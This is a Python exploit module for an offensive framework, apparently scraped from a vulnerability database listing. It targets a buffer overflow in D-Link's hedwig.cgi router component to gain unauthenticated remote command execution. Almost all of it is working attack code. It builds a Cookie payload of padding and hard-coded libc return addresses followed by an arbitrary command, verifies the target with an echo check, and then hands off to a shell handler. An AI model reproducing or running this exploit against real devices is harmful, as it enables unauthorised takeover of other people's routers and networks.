D-Link Hedwig CGI RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link Hedwig CGI RCE"""
import struct
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'D-Link Hedwig CGI RCE',
'description': 'Module exploits buffer overflow vulnerablity in D-Link Hedwig CGI component, which leads to remote code execution.',
'author': ['Austin'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt', 'https://www.exploit-db.com/exploits/27283/'],
'tags': ['iot', 'router', 'rce', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def execute(self, cmd):
cmd = cmd.encode("utf-8")
libcbase = 0x2aaf8000
system = 0x000531FF
calcsystem = 0x000158C8
callsystem = 0x000159CC
shellcode = self.random_text(973).encode("utf-8")
shellcode += struct.pack("<I", libcbase + system)
shellcode += self.random_text(16).encode("utf-8")
shellcode += struct.pack("<I", libcbase + callsystem)
shellcode += self.random_text(12).encode("utf-8")
shellcode += struct.pack("<I", libcbase + calcsystem)
shellcode += self.random_text(16).encode("utf-8")
shellcode += cmd
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": b"uid=" + shellcode + b";"
}
data = {
self.random_text(7): self.random_text(7)
}
response = self.http_request(
method="POST",
path="/hedwig.cgi",
headers=headers,
data=data,
)
if response is None:
return ""
return response.text[response.text.find("</hedwig>") + len("</hedwig>"):].strip()
def check(self):
fingerprint = self.random_text(10)
cmd = "echo {}".format(fingerprint)
response = self.execute(cmd)
if fingerprint in response:
return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}
def run(self):
result = self.check()
if isinstance(result, dict):
if not result.get("vulnerable"):
self.not_vulnerable()
return False
elif not result:
self.not_vulnerable()
return False
print_success("Target appears vulnerable")
return self.handler_execute()
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19 Aug 2026 05:37Current
6.6Medium risk
Vulners AI Score6.6